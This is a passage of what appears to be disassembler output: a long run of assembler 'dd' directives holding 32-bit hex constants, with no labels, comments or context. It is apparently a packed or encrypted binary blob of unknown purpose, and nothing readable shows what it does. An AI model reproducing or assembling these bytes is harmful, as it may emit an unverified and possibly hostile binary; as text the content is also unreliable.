83EE4FA4h, 8EBC15Eh, 77CCC407h, 0CEF2392Ch dd 81BA4CEEh, 0E00660D8h, 0C1A41CF4h, 0D6848098h, 3F9F72Ch dd 2F301212h, 30E99C50h, 5850CCDCh, 773EDC0h, 8008E51Dh dd 30CE7BDh, 2C43C560h, 0E8281D21h, 8C591504h, 52CDE916h dd 0F9261ED5h, 0CA4FF79Eh, 8DA6758Bh, 9180D366h, 6775A76Ah dd 0E0680BA2h, 5928195Ah, 20F18119h, 80DE510Fh, 0A5652EB9h dd 0A85E483Ah, 94410741h, 0AF6271D4h, 0E60C6802h, 0D3C05B4Ch dd 0EE306520h, 74541A70h, 29371E2Ah, 8ED14CDh, 0C3B5E912h dd 6EB35A9Eh, 2D29AF50h, 3B430A1Fh, 94675E1Ch, 0E8832D4Ah dd 80E92710h, 0E6D1095Ch, 0E01E960Ch, 28A3C380h, 0C83AE79Ch dd 2CC6902Eh, 7B01C453h, 0D73006B7h, 0ABD998BCh, 4B4E4730h dd 8A7C9151h, 18E61231h, 8060EC30h, 0F6DB0FB4h, 60EC0D4h dd 8305E465h, 2B87E2E5h, 0EBEBB0Eh, 2CC71EEAh, 4D0836Dh dd 0E97880A5h, 139E1566h, 299F6BEFh, 0CF1581D2h, 5B30C7FEh dd 0A934391Fh, 600C293Ah, 1E3C3E9h, 2A05E801h, 573DB07Ah dd 3199DF20h, 694C4F1Dh, 8565F7h, 3F76C7EAh, 39594928h dd 4068B281h, 0E9315D0Ch, 292E5AE6h, 0F53BC24Ch, 4803D39Ah dd 708F1D2Dh, 4AC3FA7Dh, 2513E581h, 10A3198Bh, 0C3F8FB01h dd 20EA23E8h, 50BA5238h, 327DA5Dh, 40D69A02h, 81489F07h dd 8F44D85Dh, 18D32980h, 42C3015Ah, 0D62C5642h, 0CCECF072h dd 413A00BDh, 0EA295EF9h, 764DB6E9h, 8FD82EB2h, 0D9FBD3AAh dd 2E9D73DFh, 0E958165Dh, 2CC2B18Fh, 60910CCh, 0D7F7FB87h dd 0DC46F608h, 58C70B61h, 0FEF2D40h, 0D870DC90h, 0E466FD28h dd 0CCA28ECh, 5216405Bh, 0A221D457h, 908DD72Eh, 4504CAFEh dd 0FA5A1A1Ch, 0D6E44478h, 207B06CBh, 32685318h, 7B9E9417h dd 0B4506D2Dh, 0B92D04AEh, 820C8A3Fh, 78105C1h, 3DFF505Eh dd 3A5469EEh, 4C4439Fh, 0C05FB340h, 0CB7B80E3h, 510E6618h dd 0FD2853B1h, 2604AACh, 4FE99A2Ch, 0C69C4949h, 0E088F494h dd 70265CD5h, 212D2271h, 62A468C1h, 0BF86ED3Ch, 57A127D0h dd 0C4587C27h, 68007C01h, 3AD60A2Ah, 0D84D13F4h, 0F7518ADCh dd 0B3B2ECE9h, 0A09620F7h, 5C4BDF1Fh, 0B0503646h, 2C3F12D3h dd 0C96D034Ah, 0C0DD066Fh, 0A26C78E1h, 0DE314912h, 17D938B0h dd 6B53Eh, 0BD73FDA5h, 0D75DE97Ah, 836F731Ah, 0A9452BB2h dd 0D9AB8207h, 10BE0779h, 29583FA4h, 0D15AD60Fh, 75ADE5E6h dd 0EDD6785Ch, 62467E09h, 8F873C0h, 0BF0E141Fh, 4A5F0080h dd 523C22Dh, 0F8016E8Bh, 0A6071F05h, 80D10848h, 5CA16052h dd 605D8125h, 6B803B6h, 0A5B29817h, 3D6DD905h, 90DC1BB5h dd 68199E14h, 0B9EEDB5h, 985B52BEh, 402CE926h, 1C51B505h dd 12832C49h, 8804FEB2h, 0E8C37EF3h, 0C09485FFh, 0C58719DDh dd 0BB42CDEh, 0E9821F0Eh, 0BD4472F3h, 9F746AD4h, 9886AA7Ah dd 604BF481h, 62652AA8h, 0B48121FDh, 1E69EF81h, 532A0C63h dd 0EE0738DFh, 20FEA80Eh, 82E95FFEh, 0BD28C008h, 6605144Eh dd 0E60B6B90h, 40C81D55h, 4D99E959h, 0C98B3B7Ch, 3C5FE1C1h dd 0F920D69Fh, 82704F68h, 80304A41h, 4E67C689h, 0B45B26FBh dd 0D336429h, 0DAC0631h, 6261AC4Ah, 0F7035C41h, 0BA9E3DDDh dd 4DCA051Fh, 251A3F37h, 609E3141h, 73D97F1Fh, 0C1FA4AA6h dd 1FEE0C5h, 0CCE1E480h, 0E7E0BCC4h, 0FA885801h, 6E2C05Bh dd 0CF4CC420h, 53A55428h, 2FC61F56h, 27C1E5AEh, 903EA24Eh dd 68005452h, 50FF2D21h, 2F8C159h, 5203C090h, 91F822Eh dd 9F07DD9h, 0E04010A7h, 0E0CD9005h, 7EBA1CF3h, 90C82920h dd 306813A2h, 41F0897Ah, 481267Bh, 51ACAE0Fh, 1D64B310h dd 4ACC6F04h, 0AB580E31h, 531EC9A3h, 60D6323Dh, 553EE9FBh dd 0CECB16D2h, 4556294Eh, 5C1CD2E5h, 0A5225BDAh, 2E929848h dd 0A561BB2h, 27CA8804h, 8485A9B0h, 78895E80h, 638D2710h dd 5BE25A0h, 14F6647Ah, 74974465h, 0D549ECF2h, 1999552Ch dd 20E1D950h, 36C62D3Fh, 286735BFh, 0D3A7C782h, 0ED5B0893h dd 0E257521Eh, 0CE7C0D8Dh, 0E926D8B4h, 4FF6F12Eh, 15CCCA81h dd 0F2D82152h, 54491E57h, 38F71922h, 0A0CD3C5Ah, 0B6013A68h dd 59C260E9h, 0B805654Dh, 23E2D7D0h, 0EDE0FD5Bh, 0B62A02B6h dd 53500E96h, 0FC44CF88h, 0A407815Bh, 8C680015h, 3E2FC646h dd 0E35C3B5Ah, 0ACAC5FEAh, 10E93C3Ah, 38DC6A5h, 561B68DFh dd 224C3710h, 0C2015D0Fh, 470D3605h, 25D58858h, 3250162Bh dd 0E4D02A80h, 0F5624FB4h, 800E445Eh, 20EF287h, 0E93CE514h dd 93C8C6B9h, 48A53D1h, 0ACD0569Bh, 16F41C5h, 68575A20h dd 0C6695164h, 0A8B9F960h, 2E8E1904h, 0ECC0E1C1h, 3B3F80F1h dd 796E38h, 1D6507EAh, 0DE9D1F7h, 0F0EC4155h, 0B10A5AA8h dd 0F4FA0175h, 502E0820h, 0D065F0B8h, 0C52D6D82h, 0BF0F2EF9h dd 0BCCB409Bh, 124A1378h, 0A2265814h, 4D230A83h, 95652208h dd 2956C486h, 1BE1BE8Dh, 3568F93Ch, 0DABAB990h, 135AD19Eh dd 0F5A08DCEh, 5E3B9AF0h, 4C9A5813h, 16392056h, 55B703BEh dd 9A23F0EEh, 6700BD1Ch, 312D877Ah, 31E958C5h, 174D079h dd 165230D9h, 7DDF1C39h, 0D7562731h, 874C04EEh, 1D97B649h dd 8D55BD59h, 3E489CA1h dd 0D3275FB7h, 81F558C7h, 79315D36h, 0E5384861h, 4D357F60h dd 6D7320h, 53A1BF57h, 0BA6860FBh, 0CBD35658h, 4CE487BEh dd 56481DBh, 0C1DCB373h, 7338B8E2h, 16B6801Dh, 66F08800h dd 80A0045Ah, 0E61270C3h, 0BC159E9h, 0B013E42h, 0FB840FC0h dd 77D0513Bh, 0A6542428h, 4DBD2E03h, 0AD142E9h, 0C8758FCh dd 0BA9D6AF5h, 0C83CB948h, 8F05126h, 3B2FC539h, 58C2E94Dh dd 25270B98h, 62668ADh, 0DEC51C44h, 10ADF310h, 2A581420h dd 0B753E304h, 700AB8D7h, 0DE2CD83Bh, 8480BD57h, 3685253h dd 2494A33h, 31BB425Ah, 78A3609Dh, 367C8030h, 49CDF24Ch dd 0B0EB00DCh, 0E90E681Ch, 25569EE4h, 0CA1DB167h, 0CF80BAF0h dd 1106C117h, 0E403E7C0h, 0F7F88BC7h, 0B4B08270h, 164BC2FEh dd 0E4981925h, 0E9523A66h, 8D94FF2Dh, 3216C89Eh, 2902AC95h dd 0BB5EF101h, 814AEEC0h, 97A47FBAh, 25612C63h, 8A625D0Ch dd 1A5CCB40h, 651C6853h, 55D56C41h, 0FC8D82C7h, 4FA3FD6Ah dd 0FF2CF828h, 0E959245Bh, 0ABA67BFDh, 857616F1h, 0D3F5B392h dd 4051C362h, 95F0A72h, 0F9895DA8h, 792CCC0Bh, 6A9ADFAEh dd 0C0CFFE03h, 9A8004EFh, 0D4D612Fh, 0D30B9579h, 384F030h dd 62680207h, 8CB56641h, 4C544BA7h, 0D1B7B792h, 17FEE4Ch dd 590E0FD8h, 1D30DEF7h, 2C7302EDh, 672DE936h, 44F9874h dd 6AB37D0Eh, 0DBC3C814h, 0B7DF085Ch, 0E09EE50Ch, 0B79821B8h dd 27A0524Dh, 1AB1859h, 8B34B3CEh, 4F29B8E9h, 21138551h dd 245A0BA2h, 807C84D4h, 605C7101h, 99064940h, 0E3390904h dd 685EACACh, 12586F27h, 2C72C5C7h, 0FC910CF9h, 9D07E2CDh dd 50579E79h, 0EA1A8C4h, 0CF404669h, 16D29CA3h, 3AE8F5Fh dd 88505351h, 54E392D4h, 5A1253F7h, 49CC651Ah, 2CDB2D68h dd 50E8F599h, 9B055F82h, 1159071Eh, 72DD84Ah, 2F8D853Ah dd 0A7C0178Bh, 1743637Eh, 0CCE82960h, 0D5296819h, 9CA0807Ch dd 1D0DDC00h, 0B245BD3Dh, 31291586h, 2349CFD5h, 21365260h dd 0F7133439h, 821C4DDDh, 0B72515D6h, 0FBACA39Dh, 0CF282C9Fh dd 5AD8B509h, 142DAAEh, 5321A530h, 480906BBh, 14B75F8h dd 7B5D192Ah, 0C0DBF460h, 73A52210h, 0DE0C0193h, 38CE84E9h dd 8368155Dh, 7B859D24h, 55AE607Fh, 0DEA05D54h, 8082E2BEh dd 0DC7DD000h, 0E04D6736h, 63EDA045h, 0AC0F92CCh, 3C5DEF21h dd 10021CC5h, 5FFA1CC1h, 9E52F964h, 68724C43h, 901C982Fh dd 915B542Eh, 9649698Bh, 13243F8Fh, 54561AD0h, 0A230975Eh dd 0E9803B82h, 4B845851h, 21ECB592h, 0C1028C1h, 642E580h dd 0C5FE3EB5h, 4BD233AAh, 60878CBDh, 2CE37E0Eh, 4810D601h dd 0C75D2708h, 0C1D90AE3h, 0E6A43995h, 0DAEF08AAh, 2AA06E25h dd 9C6EEB83h, 560F8098h, 33B86DB3h, 47DC6B01h, 0D148D0F7h dd 56EB9630h, 6459D029h, 6802503Ah, 78084D5Dh, 0B35C94C2h dd 38428F05h, 753A8581h, 39F8004h, 1F587E27h, 29D8015Bh dd 10E95379h, 8D4F7D78h, 2B0E25EEh, 0D6A1DE25h, 3634D4E1h dd 79DC17BEh, 0AF70059Ch, 877B8840h, 838AD9B8h, 35333269h dd 8A72203h, 266B0968h, 9D6F1237h, 0D6E24229h, 832542C4h dd 682C683Ah, 74355802h, 0B86E24D2h, 6D9A03B0h, 0C48B7F09h dd 28C11DDCh, 2E007E1h, 1E335C8Ch, 0F080D1F7h, 9B83D24h dd 1BA9A94h, 0DEE55B96h, 0DC8CCF89h, 4F15227h, 0F7A4B01h dd 737CCE81h, 0B883A131h, 2FE567B3h, 1CD30C17h, 0F3099D16h dd 0C707805Eh, 16386A0Dh, 95DEE01h, 92CDE46h, 592650A6h dd 4E1C2E58h, 6FE1A58h, 0E5B7C841h, 18FEF501h, 263070F7h dd 40D269F4h, 0C582B489h, 53094EA4h, 0E4A82678h, 63322EDh dd 0DD40631h, 0C886105Bh, 297B1542h, 0B2FDC0ACh, 0CB7CD628h dd 144B1E27h, 3A1049E9h, 0E3537301h, 0A0CD016Fh, 1CC00890h dd 778947F4h, 6E2527E9h, 4A14C726h, 0FF0D06DBh, 0C8B90DB4h dd 0F20188C4h, 6A4978A3h, 93114922h, 3D800F21h, 0B08E726Ah dd 9F0778EAh, 4E3B388Dh, 691AB7D0h, 1323C58h, 7CBCD4Eh dd 6F92EB0Ch, 0B2E20E89h, 0C018696Ch, 50603EEh, 0BC660FEh dd 800CB151h, 99A9C939h, 0C406A4C1h, 4BC3E9E4h, 0C95A5D30h dd 5FF2391Ch, 0D21F330h, 2BDDB9h, 0C981367Fh, 2AB471DEh dd 1F2EAA80h, 40414CC2h, 9E5EC8E1h, 425E91Ch, 98C8C44Fh dd 931E52D6h, 2811FF8Bh, 0D9CCEEA8h, 560DE69Eh, 5EC11968h dd 0A697470h, 294D3348h, 5808098Fh, 0E927B7D2h, 0F670609Ch dd 25804CD2h, 9DA662Ch, 0C450E101h, 8103079Ah, 0B64A84C2h dd 0A0D7F23Dh, 8CE95AA8h, 96DCA45h, 5002AC0Ch, 0BB806BD5h dd 770D0994h, 2CD83179h, 0A396EA00h, 0D62161A5h, 0EB965Ah dd 43850C72h, 800E0C1h, 4AABE56h, 54E37B6h, 3361E681h dd 302587EEh, 6E68DE2Ch, 8BC1314Ah, 860659C2h, 5DDFCB02h dd 4043178Dh, 303DB8D9h, 2B787ECAh, 70FB8409h, 5E19ED85h dd 0BF185358h, 30DEC8C0h, 6445D329h, 1A60104Eh, 4C453642h dd 1E016960h, 0BB03DE58h, 0B74EAE83h, 679595E9h, 0D66ABE8Ah dd 7E5562D4h, 5B173A59h, 0CF13CD04h, 1D7A8B09h, 48665720h dd 848B3555h, 0F85A5C2h, 0D2D2535Ah, 0EDE87956h, 42FED5F7h dd 6812059Ah, 0C1F75B9Fh, 26EF5310h, 33129901h, 631B50Dh dd 875C0D96h, 447622F7h, 1D9F915Eh, 523FB709h, 0E908802Bh dd 658DD3A6h, 7F9488AEh, 0E3DD734Bh, 5B680608h, 8DC135F6h dd 8F0A3239h, 82F2768Fh, 3F5CA3D1h, 0B8B7C8A4h, 5612A400h dd 2E6F055Fh, 16475FBh, 3BAEBEF1h, 3E58C701h, 0F2F74762h dd 12692783h, 50DAA33Bh, 0B72E78h, 16245122h, 5DBE3C09h dd 0E91F0304h, 17CBFCAAh, 9F8DEEB2h, 0C438DD20h, 84E4B61Ah dd 16D453B5h, 0B42E242Ah, 814285D3h, 0FD88AA7Dh, 0E5686DE1h dd 0B0313F76h, 0A9830EB5h, 322351C6h, 0F6B859C3h, 0BD01A67Dh dd 3C460574h, 102B62A9h, 615E07F7h, 35325Ah, 0D35FFB29h dd 0B0DB9493h, 809ECD54h, 4404B117h, 5B94EE54h, 4E08FF93h dd 61F88D1h, 34DC80AAh, 1D90FB5Bh, 0D3CE3131h, 0C35F87EEh dd 0A1CBD0Eh, 0D8090AB3h, 82DF8266h, 87C20E4Dh, 0C94252DAh dd 1247FC4h, 5A131C54h, 1A424338h, 2ABE07E9h, 0FE39EA40h dd 0F130C175h, 88F50630h, 7A1FB8CBh, 72ADB2A6h, 0EAEF00F6h dd 5EF301B3h, 0C8F7EB29h, 352E107Fh, 0D6090E69h, 22423276h dd 733EEF83h, 2255928Ch, 0DA645D6Dh, 4692E917h, 5908BBC9h dd 8DF85A21h, 850B5055h, 0A0DDDBBAh, 91C32A1Fh, 95146831h dd 83B4AFA8h, 8B030687h, 196E7CC1h, 0A4CFFF53h, 13EC74DAh dd 314AC4h, 5C67BF57h, 0F74717F8h, 9EB7B4DFh, 0B807A30Fh dd 3BF8BB01h, 0A525582Fh, 0F7564203h, 0F14C5Ch, 6D434B94h dd 9E5221E9h, 1B246FB1h, 0F27B97F8h, 99C46029h, 3412310Bh dd 76E5AC33h, 0B3491803h, 47620C08h, 0DE820h, 0D0D51606h dd 26E9FE01h, 0EDE77C63h, 28A7D323h, 82C0D506h, 1CCB0408h dd 64FD2D00h, 80C42B47h, 9001136h, 53E2D1C2h, 49C8BB4Fh dd 35E909C3h, 7B843684h, 1AD4C355h, 26ECE185h, 77F10468h dd 3CB108BEh, 710889CAh, 0DAF949A5h, 52B040C9h, 5A798612h dd 1A635D27h, 0AEF40EAh, 83F383DCh, 9D8B584Fh, 0A06C2D05h dd 6A28154h, 0F118D535h, 422D6071h, 0A66B484Ch, 0D0E61DCh dd 2FA6EB80h, 52E2D337h, 0A85DF932h, 495F647Fh, 0F89ECCBFh dd 404029F7h, 7300FDA6h dd 0F3813DCCh, 5C306FA1h, 0BA8EDD47h, 0E4011787h, 870C0F6Ch dd 5C956BB7h, 0C8AE5D7h, 0F9805644h, 5C596A1Dh, 29024B76h dd 4A203B06h, 0C9F8A78h, 0BA91A07h, 89FB7228h, 0E6592C8Bh dd 78C05B16h, 7D6078F5h, 0E90EC440h, 0D59BB164h, 812B35D0h dd 5AFF32Ah, 0FD20727Ch, 0F25207CFh, 0FDDD89EAh, 8323D88Ch dd 0D0036F79h, 5DE8315Ah, 73C0B5F7h, 0A046A964h, 0C54802C0h dd 9083E916h, 7EEFBE95h, 0EEC6D463h, 160D4FEBh, 4908F1FBh dd 0C9B43D0Dh, 0A60C6702h, 4FC242B9h, 0D2895F02h, 6D525E2Ah dd 0C13BA8EAh, 30B67B01h, 59C80191h, 0E9B1026Eh, 3849F56Eh dd 54747929h, 7226ADF3h, 7908CE43h, 89580A66h, 9A050183h dd 21504668h, 94B0300Ah, 7A283B1Eh, 304B86C9h, 18C756h dd 0D407301h, 41D96152h, 0DF3598A0h, 0A563547Fh, 0C922E26Ch dd 88DA291Bh, 581E089Bh, 3FE9F043h, 9FA677F2h, 2872D58Eh dd 0C8FAEFBCh, 0A50A7528h, 257FB17Dh, 1DFD0126h, 0E9170820h dd 4E450AE6h, 554F1BB3h, 3BDC55Eh, 311E8CF9h, 658A56C6h dd 0ECCE817Ah, 0A0101D4h, 59100A62h, 0EF80006Eh, 5BFD30B1h dd 0FEF0ED28h, 97E92FCFh, 0D2E6008Bh, 20EF0126h, 6106FE5Ah dd 7868E9h, 2C3443BEh, 22940B49h, 58298D8h, 273945EAh dd 5E892C1Ah, 71536828h, 5858A8CAh, 15F3708h, 0C634C52Ch dd 80947030h, 8BA0E739h, 228DAF7h, 171E505h, 564D0D68h dd 134A5A25h, 4E1C19CCh, 3216CD6Ah, 0E4B47853h, 3B87E9C4h dd 3625809h, 619638D0h, 100BD2F7h, 2F62C6Bh, 2A866Eh, 2E6A38B9h dd 19AD4E4Ch, 29923B92h, 5A7A7E22h, 66BE0173h, 0D038B353h dd 30FEB450h, 581CE37Ah, 0F6A6CBFEh, 0D8F0BE16h, 204700C7h dd 43371E27h, 24EF5F31h, 513DAF9h, 7F08666Dh, 0DEF7054Bh dd 6818C046h, 2F7E785Bh, 0C007115Ah, 4D73FA29h, 68810EC3h dd 548E5A48h, 140359D7h, 8C5A0481h, 8FF28F10h, 8357CF5Dh dd 0E13E26BFh, 0BE217C29h, 1FD5FF5h, 1A029A30h, 5ED5A7E9h dd 68147AF0h, 0DEB43D32h, 0D248B500h, 5399E921h, 0CA50C931h dd 0F6E1772h, 0C408164Dh, 1C830926h, 0C0BBE1E1h, 283F6513h dd 24CD8081h, 0DBF70411h, 0A3E91B4Bh, 0CACA32B8h, 0E881F6E3h dd 8F97D32Ch, 1EF01FE6h, 0BE3F051Bh, 5310D120h, 3ED91625h dd 76497463h, 323C597Ah, 70F18100h, 290B6C93h, 6EFCA097h dd 80081C0Ah, 8804325Dh, 39CBE97Eh, 0AAC936ACh, 0F9575961h dd 3A0B6F19h, 40455051h, 0DA723116h, 0D87BD374h, 3FE19E98h dd 5251D90Eh, 0E1DA7AE1h, 0F152D50Eh, 58837E05h, 0E694B2E9h dd 0CA2909h, 0DE1E2AB5h, 800CCF51h, 801B6A64h, 5F6E025Ah dd 0F2523A50h, 0F628689Eh, 5512CE91h, 31392F02h, 278FC13h dd 58E03B9h, 0C15AFAC0h, 1301ED5Ah, 0B0C475Ch, 0AD4CE0A7h dd 0F3CBD398h, 203E52D2h, 2C0BB769h, 84C288BCh, 95204C0h dd 0C55D30h, 6254E909h, 0E6BD0760h, 61362521h, 43BBB30h dd 89B40CB5h, 9788C3F5h, 6968850Dh, 223F3426h, 0CE6B952h dd 3359CB14h, 63136F7h, 0E95C0A0Dh, 0A7CC2D5Dh, 2F7DFFC0h dd 526610C3h, 3DD2C150h, 3C05F02h, 40080591h, 20D60168h dd 615A5A08h, 16F3D6Ch, 643F015Dh, 926BFD3Fh, 0ABF9394Bh dd 9F58FA9h, 0E1AC7855h, 0EFE5BF4h, 80D9F6C1h, 0E960778Eh dd 59CC88FCh, 0EEEEDCF6h, 0DB8E315Eh, 9BC38320h, 542C09E9h dd 0B5F778EBh, 0ECC78EA5h, 25C0946Bh, 0D668206Eh, 0A59373Eh dd 0B850F529h, 0B6612F08h, 0E9E8D05Eh, 71E3FD26h, 0D9883161h dd 0E5715BD9h, 0CB5FD641h, 0BB646802h, 20B9079Ah, 9F429C6Dh dd 0AC7F486Eh, 0A7B50751h, 0C2D3C580h, 3B4CD1D8h, 5123AEA1h dd 235854F9h, 5821D397h, 847DD8CDh, 0C121CA01h, 2AEB8331h dd 7772B000h, 4B608Ah, 6CDCBF57h, 0FB291401h, 919C35B0h dd 4F2890Bh, 2ABCDE50h, 81A0D29Fh, 70DF09DBh, 3E2FEFDDh dd 0B5786379h, 0E71292E2h, 1257F605h, 0F3291851h, 23050B2Ah dd 9540CDC2h, 7813B88Fh, 6848957h, 0C31D7EE8h, 2A34CF7Ch dd 0EB0ACB2Fh, 83590908h, 0FF04FB89h, 2A13C96Dh, 0F2810460h dd 944B3010h, 9546C2A6h, 0BF076928h, 0B83B4227h, 5B0F667Bh dd 7C0145BBh, 0E58850B5h, 0FECBC25Ch, 0E926F616h, 0AD9495E1h dd 493005AEh, 891274CBh, 2356B080h, 83712831h, 1F7F298h dd 690144EEh, 6C16E768h, 61508DCBh, 0E917A17Ch, 6831C05Ah dd 12977973h, 6DC384C0h, 0C03D4DE3h, 8390392h, 252C432Fh dd 0BCEF963Bh, 5BDE9844h, 0BDA59CF8h, 416809C0h, 45EF954h dd 0B4652AE9h, 431C21D6h, 0C5E81296h, 955F5D04h, 98289CDh dd 0A2C5C109h, 856801E2h, 1E55543Ch, 0E7040589h, 51F1B921h dd 0E0B00DF9h, 38B45C0Eh, 6E25D9E9h, 0E6A3D2D0h, 755F5412h dd 77B591B5h, 61B70030h, 5C20E80h, 0EAAEFA28h, 5D7CC1B3h dd 6058022Fh, 2F1AB22Eh, 0BE41F448h, 4170C4EEh, 9053A02h dd 50302215h, 81FF4D88h, 47192024h, 0FE724BF5h, 0B0357C22h dd 8D6817ECh, 0D4CF6015h, 41078869h, 2891B951h, 0F7721377h dd 0BACFC1D9h, 0EC143DF4h, 71350FC1h, 1EF7366Dh, 0E720A7CAh dd 62F631D2h, 0FE5E527Ch, 1DCBE790h, 2CC63B44h, 1817F300h dd 0ACE92BBDh, 0DE8AC858h, 4E809E17h, 3D607FB9h, 32143497h dd 5ACBC115h, 0D06E93F9h, 2859E9A1h, 896F4CD1h, 60F25022h dd 74119043h, 1A900930h, 0C46EFA09h, 62F1621Ch, 75A0729Fh dd 10D602EFh, 5FFD29BBh, 69028AF4h, 55766070h, 18E96110h dd 538B26B2h, 7B3CEBD1h, 836D814Fh, 0E2D0F6C8h, 79DBD831h dd 40C4EE0Fh, 2005BEC6h, 0F730CF07h, 41907391h, 0CED802D5h dd 80523964h, 81951AEh, 0A24F01C8h, 761B883Dh, 0AA8E27ACh dd 0E85963F9h, 41FAF7E1h, 473AE1A0h, 267A220h, 0ACBF30E0h dd 0D7438E9h, 8318BC25h, 492B82AAh, 7870FA20h, 0E577D31h dd 0C788530Dh, 0B55B3A44h, 0C168F626h, 1B1D842Dh, 81415045h dd 293D3B68h, 0D9C96061h, 8538BB01h, 51FB0171h, 548B5AF9h dd 6ED61642h, 0CC64539Eh, 683D6C10h, 3DA8188Bh, 498D7286h dd 4005894Ch, 24B031F4h, 0C4FF394Dh, 941737D2h, 5152F0B0h dd 889F27FAh, 853921B6h, 400242D1h, 4C92C480h, 0E92A139Ah dd 5A1DC249h, 32A6868Eh, 84BED250h, 0E70B5C13h, 0DCE6E2D6h dd 0C1F65B74h, 60DA0827h, 6E88BF23h, 83D9DAD1h, 7724DCE5h dd 56BF9BEh, 7A8FB28h, 752820C6h, 0D44B11FCh, 0F71F11E7h dd 710358DDh, 4725E805h, 7D87689h, 7B5AB111h, 0C7092B84h dd 0E84B243Ah, 27BF00B9h, 21138B74h, 0F95F58F9h, 0D76EFB16h dd 9F499B54h, 26926168h, 71410224h, 414D5FD3h, 614819BCh dd 0C4D9929h, 0EBAFB216h, 0F53B50Bh, 58A652Ah, 64B202E9h dd 6627036Bh, 51113CD3h, 0F21DB1EEh, 17946888h, 625AD701h dd 80DC8BB6h, 5C4BAE40h, 0EF0FC17Ah, 0FB32A428h, 94AC63Eh dd 6A0162ABh, 0E809099Ch, 2503415Dh, 0AE441B29h, 82BBA130h dd 2428AEBAh, 82D21A72h, 6DEE31D0h, 5A519A40h, 0C0886027h dd 4ABD684Ch, 98DB674h, 0D83EFE20h, 957DAC18h, 0C268A49Ah dd 70CADD09h, 0A312CF41h, 0E5880D47h, 0A7F2EA25h, 88D4588Fh dd 0E0596613h, 3DB8E9B3h, 2119295h, 7CAF0FA9h, 564345F6h dd 45DE00ABh, 1B53F24h, 0EA02B8BAh, 1746501Fh, 204BD429h dd 0E95F0908h, 8C7CE258h, 669D1C87h, 3A0A99h, 0C740B164h dd 0AAA04E08h dd 0A59A26F6h, 0E11AB397h, 2F8AC034h, 1ED160CFh, 0F4CCD72Dh dd 0CE14C17Dh, 2CA21C4h, 8A6859C8h, 94B4C26h, 10E0733h dd 54614A09h, 0D9403B8Ah, 0B4B35302h, 80CB0EFEh, 1412C8F3h dd 0E5202BCDh, 0D37828ECh, 0ED2ED42Eh, 0D50B62A4h, 4D6130CCh dd 0C11C8F5h, 79402A0Bh, 0A9133CF0h, 0B23D3453h, 2E5902CAh dd 84B80786h, 44AB3105h, 0A0A4E9E6h, 359866B5h, 0B05279F0h dd 130E4C9Dh, 3372525Eh, 9FC9061Ch, 54A66813h, 0E8B64061h dd 0C3795D6Fh, 7FA67942h, 735E14E1h, 485F58FAh, 609C007Ch dd 0E8D12F5Ch, 3B670035h, 0B0250137h, 11584675h, 5A4109FDh dd 0E4238443h, 0BBED2F0h, 2D2B4B08h, 6CE5BA0h, 1A13CF6Fh dd 0BAC547E9h, 0B01ACA5Eh, 6E99DCD3h, 0C0152112h, 0C9282A2Dh dd 73AF41F6h, 9AFA2583h, 6968FE72h, 75F19C80h, 0BE015179h dd 0AE868A11h, 687804E9h, 56805F2Ch, 0A9305A27h, 0BE79E81Ch dd 0B891C95Fh, 4FD8682Ah, 9967CD26h, 595EF003h, 41585A50h dd 87C299A6h, 29A2D15Bh, 2D2E059h, 9594BEEDh, 682493C4h dd 0DA7069E1h, 0C08A4B69h, 1D32460Dh, 0E0B1E923h, 0E2372AF3h dd 56218AC2h, 91E9D8C7h, 4CC215Eh, 0CBD969CBh, 0E8083E71h dd 39B9013Bh, 2911B775h, 0F898040Ch, 0BC95D50Fh, 60C72900h dd 7638840Ah, 82A4B801h, 0E1D36008h, 0B1518018h, 3DC0793Ch dd 0E889707h, 7760E729h, 0FF680150h, 0E96BCC42h, 222682Dh dd 876C885Bh, 9C736501h, 42AE52E9h, 45F2686Fh, 0A6B6B06Ch dd 55A685A5h, 9CC97C2h, 0DD138C54h, 0B42CFCA3h, 0BFE08E5h dd 36028224h, 0E06BD230h, 1D586C2Fh, 0F2E965FCh, 7D565999h dd 0A8B864h, 6A36C9C1h, 0BABE4021h, 6F3BC603h, 81C6801h dd 14091C34h, 8A237158h, 832602BBh, 44AA27B5h, 7A36A0A9h dd 60C48B78h, 0BCEF2331h, 0CF5CE2EDh, 77825EB5h, 0BDE93802h dd 8CCF799Ah, 1DD54361h, 0B80E0249h, 10CEB9Eh, 0A8428574h dd 89D5081Ch, 0ABD43E7Ch, 0C02EAF60h, 50594C5Bh, 1972BBB0h dd 95F1227h, 13C5EADh, 17D1C981h, 40C1FB49h, 0E8D75405h dd 4C1338CCh, 0E4ACD2A0h, 3D6AB193h, 0A122B6h, 7717B805h dd 2DF02912h, 18E907A0h, 0CBB74F6Eh, 51D56221h, 10C74A24h dd 0BD660BBBh, 5BC958A3h, 81D401EFh, 871AAEF7h, 3DEECF0Ah dd 0F36E3F9h, 8C10EF12h, 129F58D7h, 7E136FF1h, 9CE12FE9h dd 9878013Fh, 0D4771078h, 0DC040DEEh, 5C7EE922h, 0C9659ECh dd 0C5A3C2F2h, 0BC64700Ch, 28280C36h, 5CE48D37h, 102E64EDh dd 25E42C58h, 82F06EC6h, 312AB992h, 5D4E92E8h, 0E697631Fh dd 5F19AF5Ah, 459D3A1Eh, 0ADC52783h, 0B94EE906h, 664295DBh dd 0E66FF1DCh, 4C7AD1Eh, 347D11EDh, 0CAC3864Dh, 1C010883h dd 0ABC6925h, 642C51E9h, 0A1685804h, 0EC1E9853h, 60AFBF2Dh dd 136B72F4h, 84013319h, 0A08138Fh, 26014D7h, 23423CB3h dd 0DC9E5CE0h, 0E9E20909h, 29784193h, 50F70F6Fh, 0C56DA49h dd 0ED80CD83h, 2D067EC2h, 0F46CE828h, 5119D8F2h, 0FF2263B5h dd 0C200E2CEh, 25E17EC6h, 326287F1h, 73005E16h, 6ACA48F2h dd 89CF0854h, 5F28F8BCh, 0DF9B625Ah, 80B56E78h, 125F4CBBh dd 50B93119h, 68F9290Bh, 0CF01A10Ch, 2AD32D7Bh, 5EE9E4CCh dd 0B19105Fh, 6725789h, 0DCCA8FFEh, 2B62615Ch, 0B76801ACh dd 0CC336F76h, 26D881Ch, 841ABF29h, 93686642h, 88395352h dd 0F0DE26EBh, 125AF30Ah, 24B9608h, 9C1C7BBDh, 0F3EF5F41h dd 0E6E99C7h, 0B54ED890h, 0D8385189h, 0EF29E9A0h, 598B7B91h dd 84FE5353h, 0F0DDE956h, 4CEC493Eh, 0BB4900BFh, 4B674F79h dd 8E4BF02Fh, 62BF3413h, 0C40EB40Bh, 0E4681230h, 82593723h dd 2DFE3E75h, 0D1E9F360h, 24A49F35h, 0DA98A141h, 290FA2F1h dd 6030A9CDh, 0B0C188BCh, 493F27A1h, 4B26FFD1h, 